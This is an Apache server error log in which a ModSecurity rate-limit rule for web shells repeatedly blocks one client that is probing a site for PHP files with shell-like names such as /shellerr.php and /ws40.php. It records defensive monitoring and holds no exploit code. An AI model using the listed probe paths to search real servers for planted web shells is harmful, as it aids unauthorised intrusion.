[Sun Mar 29 05:03:32.781141 2026] [:error] [pid 32257:tid 32327] [client 20.122.187.158:28309] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws40.php"] [unique_id "achCJCE3TArOFrUtgWomLwAAAIk"]
[Sun Mar 29 05:03:33.223681 2026] [:error] [pid 32257:tid 32321] [client 20.122.187.158:28329] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws40.php"] [unique_id "achCJSE3TArOFrUtgWomMAAAAIM"]
[Sun Mar 29 05:03:33.625604 2026] [:error] [pid 1524:tid 1542] [client 20.122.187.158:28254] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws40.php"] [unique_id "achCJVoaWSl2asqQCh8OMAAAAQs"]
[Sun Mar 29 05:03:34.046869 2026] [:error] [pid 32254:tid 32266] [client 20.122.187.158:28276] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws40.php"] [unique_id "achCJqug2IHuyGgCTn8MWQAAAAI"]
[Sun Mar 29 05:03:34.455135 2026] [:error] [pid 32257:tid 32335] [client 20.122.187.158:28335] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws36.php"] [unique_id "achCJiE3TArOFrUtgWomMgAAAJE"]
[Sun Mar 29 05:03:34.858761 2026] [:error] [pid 32254:tid 32274] [client 20.122.187.158:28345] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws36.php"] [unique_id "achCJqug2IHuyGgCTn8MWwAAAAo"]
[Sun Mar 29 05:03:35.266055 2026] [:error] [pid 1524:tid 1536] [client 20.122.187.158:28414] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws36.php"] [unique_id "achCJ1oaWSl2asqQCh8OMgAAAQc"]
[Sun Mar 29 05:03:35.679122 2026] [:error] [pid 32359:tid 32365] [client 20.122.187.158:28285] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws36.php"] [unique_id "achCJwMb8G3UzfQP3WjKmQAAAMQ"]
[Sun Mar 29 05:03:36.082459 2026] [:error] [pid 32255:tid 32311] [client 20.122.187.158:28341] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vwxbi.php"] [unique_id "achCKGnfn-AtRoMbquxFIQAAAFQ"]
[Sun Mar 29 05:03:36.482819 2026] [:error] [pid 32255:tid 32307] [client 20.122.187.158:28286] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vwxbi.php"] [unique_id "achCKGnfn-AtRoMbquxFIwAAAFA"]
[Sun Mar 29 05:03:36.889833 2026] [:error] [pid 32257:tid 32319] [client 20.122.187.158:28234] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vwxbi.php"] [unique_id "achCKCE3TArOFrUtgWomNAAAAIE"]
[Sun Mar 29 05:03:37.296437 2026] [:error] [pid 32257:tid 32328] [client 20.122.187.158:28370] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vwxbi.php"] [unique_id "achCKSE3TArOFrUtgWomNQAAAIo"]
[Sun Mar 29 05:03:37.701304 2026] [:error] [pid 1524:tid 1537] [client 20.122.187.158:28268] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shellerr.php"] [unique_id "achCKVoaWSl2asqQCh8OMwAAAQg"]
[Sun Mar 29 05:03:38.104940 2026] [:error] [pid 1524:tid 1545] [client 20.122.187.158:28308] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shellerr.php"] [unique_id "achCKloaWSl2asqQCh8ONAAAAQ4"]
[Sun Mar 29 05:03:38.536772 2026] [:error] [pid 32257:tid 32330] [client 20.122.187.158:28391] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shellerr.php"] [unique_id "achCKiE3TArOFrUtgWomOQAAAIw"]
[Sun Mar 29 05:03:38.945721 2026] [:error] [pid 32257:tid 32320] [client 20.122.187.158:28178] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shellerr.php"] [unique_id "achCKiE3TArOFrUtgWomOwAAAII"]
[Sun Mar 29 05:03:39.355523 2026] [:error] [pid 32254:tid 32275] [client 20.122.187.158:28162] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vaza.php"] [unique_id "achCK6ug2IHuyGgCTn8MXAAAAAs"]
[Sun Mar 29 05:03:39.756635 2026] [:error] [pid 32359:tid 32374] [client 20.122.187.158:28260] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vaza.php"] [unique_id "achCKwMb8G3UzfQP3WjKoQAAAM0"]
[Sun Mar 29 05:03:40.165546 2026] [:error] [pid 1524:tid 1549] [client 20.122.187.158:28318] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vaza.php"] [unique_id "achCLFoaWSl2asqQCh8ONwAAARI"]
[Sun Mar 29 05:03:40.567012 2026] [:error] [pid 32257:tid 32337] [client 20.122.187.158:28231] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vaza.php"] [unique_id "achCLCE3TArOFrUtgWomQAAAAJM"]
[Sun Mar 29 05:03:40.973497 2026] [:error] [pid 1524:tid 1541] [client 20.122.187.158:28174] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cvz.php"] [unique_id "achCLFoaWSl2asqQCh8OOQAAAQo"]
[Sun Mar 29 05:03:41.389440 2026] [:error] [pid 32359:tid 32366] [client 20.122.187.158:28311] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cvz.php"] [unique_id "achCLQMb8G3UzfQP3WjKpQAAAMU"]
[Sun Mar 29 05:03:41.797171 2026] [:error] [pid 1524:tid 1542] [client 20.122.187.158:28314] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cvz.php"] [unique_id "achCLVoaWSl2asqQCh8OPAAAAQs"]
[Sun Mar 29 05:03:42.205947 2026] [:error] [pid 1524:tid 1531] [client 20.122.187.158:28348] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cvz.php"] [unique_id "achCLloaWSl2asqQCh8OQAAAAQM"]
[Sun Mar 29 05:03:42.614384 2026] [:error] [pid 32257:tid 32321] [client 20.122.187.158:28247] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "achCLiE3TArOFrUtgWomQgAAAIM"]
[Sun Mar 29 05:03:43.034382 2026] [proxy_fcgi:error] [pid 32257:tid 32329] [client 20.122.187.158:28257] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:03:43.237488 2026] [proxy_fcgi:error] [pid 32257:tid 32341] [client 20.122.187.158:28257] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:03:43.440550 2026] [proxy_fcgi:error] [pid 32257:tid 32324] [client 20.122.187.158:28257] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:03:43.655259 2026] [proxy_fcgi:error] [pid 32257:tid 32342] [client 20.122.187.158:28257] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:03:43.862776 2026] [proxy_fcgi:error] [pid 32257:tid 32330] [client 20.122.187.158:28257] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:03:44.065997 2026] [proxy_fcgi:error] [pid 32257:tid 32320] [client 20.122.187.158:28257] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:03:44.269203 2026] [proxy_fcgi:error] [pid 32257:tid 32331] [client 20.122.187.158:28257] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:03:44.471922 2026] [proxy_fcgi:error] [pid 32257:tid 32339] [client 20.122.187.158:28257] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:03:44.677451 2026] [proxy_fcgi:error] [pid 32257:tid 32322] [client 20.122.187.158:28257] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:03:44.880269 2026] [proxy_fcgi:error] [pid 32257:tid 32332] [client 20.122.187.158:28257] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:03:45.084986 2026] [proxy_fcgi:error] [pid 32257:tid 32325] [client 20.122.187.158:28257] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:03:45.284501 2026] [:error] [pid 32257:tid 32336] [client 20.122.187.158:28257] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "achCMSE3TArOFrUtgWomUwAAAJI"]
[Sun Mar 29 05:03:45.697284 2026] [:error] [pid 32257:tid 32337] [client 20.122.187.158:28171] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "achCMSE3TArOFrUtgWomVgAAAJM"]
[Sun Mar 29 05:03:46.115099 2026] [:error] [pid 32257:tid 32333] [client 20.122.187.158:28166] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "achCMiE3TArOFrUtgWomVwAAAI8"]
[Sun Mar 29 05:03:46.520639 2026] [:error] [pid 32359:tid 32362] [client 20.122.187.158:28256] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "achCMgMb8G3UzfQP3WjKqAAAAME"]
[Sun Mar 29 05:03:46.937600 2026] [:error] [pid 32359:tid 32365] [client 20.122.187.158:28386] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n1GiO.php"] [unique_id "achCMgMb8G3UzfQP3WjKqgAAAMQ"]
[Sun Mar 29 05:03:47.348696 2026] [:error] [pid 32257:tid 32324] [client 20.122.187.158:28253] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n1GiO.php"] [unique_id "achCMyE3TArOFrUtgWomWwAAAIY"]
[Sun Mar 29 05:03:47.751929 2026] [:error] [pid 32257:tid 32328] [client 20.122.187.158:28204] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n1GiO.php"] [unique_id "achCMyE3TArOFrUtgWomXQAAAIo"]
[Sun Mar 29 05:03:48.165979 2026] [:error] [pid 32257:tid 32339] [client 20.122.187.158:28265] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n1GiO.php"] [unique_id "achCNCE3TArOFrUtgWomYAAAAJU"]
[Sun Mar 29 05:03:48.572122 2026] [:error] [pid 32257:tid 32332] [client 20.122.187.158:28324] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pLdK1.php"] [unique_id "achCNCE3TArOFrUtgWomYgAAAI4"]
[Sun Mar 29 05:03:48.972619 2026] [:error] [pid 32257:tid 32336] [client 20.122.187.158:28383] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pLdK1.php"] [unique_id "achCNCE3TArOFrUtgWomZQAAAJI"]
[Sun Mar 29 05:03:49.377900 2026] [:error] [pid 32254:tid 32285] [client 20.122.187.158:28173] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pLdK1.php"] [unique_id "achCNaug2IHuyGgCTn8MZwAAABU"]
[Sun Mar 29 05:03:49.784979 2026] [:error] [pid 32257:tid 32321] [client 20.122.187.158:28229] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pLdK1.php"] [unique_id "achCNSE3TArOFrUtgWomaQAAAIM"]
[Sun Mar 29 05:03:50.197090 2026] [:error] [pid 32254:tid 32280] [client 20.122.187.158:28184] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/llb1J.php"] [unique_id "achCNqug2IHuyGgCTn8MaQAAABA"]
[Sun Mar 29 05:03:50.605057 2026] [:error] [pid 32255:tid 32311] [client 20.122.187.158:28244] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/llb1J.php"] [unique_id "achCNmnfn-AtRoMbquxFLAAAAFQ"]
[Sun Mar 29 05:03:51.021439 2026] [:error] [pid 32254:tid 32269] [client 20.122.187.158:28272] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/llb1J.php"] [unique_id "achCN6ug2IHuyGgCTn8MawAAAAU"]
[Sun Mar 29 05:03:51.430973 2026] [:error] [pid 32257:tid 32323] [client 20.122.187.158:28359] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/llb1J.php"] [unique_id "achCNyE3TArOFrUtgWombAAAAIU"]
[Sun Mar 29 05:03:51.835544 2026] [:error] [pid 32257:tid 32334] [client 20.122.187.158:28242] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jeZDu.php"] [unique_id "achCNyE3TArOFrUtgWombgAAAJA"]
[Sun Mar 29 05:03:52.265217 2026] [:error] [pid 32254:tid 32274] [client 20.122.187.158:28123] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jeZDu.php"] [unique_id "achCOKug2IHuyGgCTn8MbQAAAAo"]
[Sun Mar 29 05:03:52.675491 2026] [:error] [pid 32257:tid 32342] [client 20.122.187.158:28313] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jeZDu.php"] [unique_id "achCOCE3TArOFrUtgWombwAAAJg"]
[Sun Mar 29 05:03:53.095735 2026] [:error] [pid 32257:tid 32332] [client 20.122.187.158:28264] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jeZDu.php"] [unique_id "achCOSE3TArOFrUtgWomcwAAAI4"]
[Sun Mar 29 05:03:53.501609 2026] [:error] [pid 32254:tid 32277] [client 20.122.187.158:28389] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gec.php"] [unique_id "achCOaug2IHuyGgCTn8MbgAAAA0"]
[Sun Mar 29 05:03:53.918432 2026] [:error] [pid 32257:tid 32321] [client 20.122.187.158:28261] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gec.php"] [unique_id "achCOSE3TArOFrUtgWomeQAAAIM"]
[Sun Mar 29 05:03:54.382761 2026] [:error] [pid 1524:tid 1531] [client 20.122.187.158:28161] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gec.php"] [unique_id "achCOloaWSl2asqQCh8OTgAAAQM"]
[Sun Mar 29 05:03:54.782067 2026] [:error] [pid 32257:tid 32323] [client 20.122.187.158:28220] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gec.php"] [unique_id "achCOiE3TArOFrUtgWomewAAAIU"]
[Sun Mar 29 05:03:55.191515 2026] [:error] [pid 32255:tid 32310] [client 20.122.187.158:28176] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfuKK.php"] [unique_id "achCO2nfn-AtRoMbquxFLwAAAFM"]
[Sun Mar 29 05:03:55.600471 2026] [:error] [pid 32255:tid 32312] [client 20.122.187.158:28262] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfuKK.php"] [unique_id "achCO2nfn-AtRoMbquxFMQAAAFU"]
[Sun Mar 29 05:03:56.004182 2026] [:error] [pid 32257:tid 32319] [client 20.122.187.158:28226] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfuKK.php"] [unique_id "achCPCE3TArOFrUtgWomfwAAAIE"]
[Sun Mar 29 05:03:56.413624 2026] [:error] [pid 32257:tid 32335] [client 20.122.187.158:28342] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfuKK.php"] [unique_id "achCPCE3TArOFrUtgWomgQAAAJE"]
